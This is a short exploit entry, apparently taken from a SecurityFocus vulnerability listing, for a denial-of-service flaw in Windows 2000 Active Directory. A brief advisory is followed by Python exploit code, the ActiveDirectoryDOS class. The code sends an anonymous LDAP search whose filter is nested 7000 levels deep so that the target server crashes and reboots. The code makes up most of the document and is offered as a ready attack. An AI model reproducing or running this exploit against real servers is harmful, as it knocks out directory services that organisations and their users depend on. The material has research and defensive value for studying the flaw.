Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability

                                                source: http://www.securityfocus.com/bid/7930/info

A vulnerability has been discovered in Microsoft Windows 2000. The problem occurs in the Active Directory component and will result in a denial of service.

An unauthenticated attacker could exploit this vulnerability by transmitting a malformed LDAP version 3 request to a target Microsoft Windows 2000 server. When the request is processed, an exception will be triggered effectively causing the target server to crash.

An affected system is said to reboot within 30 seconds of the exception being triggered.

class ActiveDirectoryDOS( Ldap ):

    def __init__(self):
        self._s = None
        self.host = '192.168.0.1'
        self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
        self.port = 389
        self.buffer = ''
        self.msg_id = 1
        Ldap.__init__()

    def generateFilter_BinaryOp( self, filter ):
        filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
        filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
        return filterBuffer        
    
    def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
        simpleBinOp = self.generateFilter_BinaryOp( filter )
        filterBuffer = simpleBinOp
        for cnt in range( 0, numTimes ):
            filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
        return filterBuffer


    def searchSub( self, filterBuffer ):

        self.bindRequest()
        self.searchRequest( filterBuffer )

    def run(self, host = '', basedn = '', name = '' ):
        
        # the machine must not exist
        machine_name = 'xaxax'
        
        filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)

        # execute the anonymous query
        print 'executing query'
        filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
        self.searchSub( filterBuffer )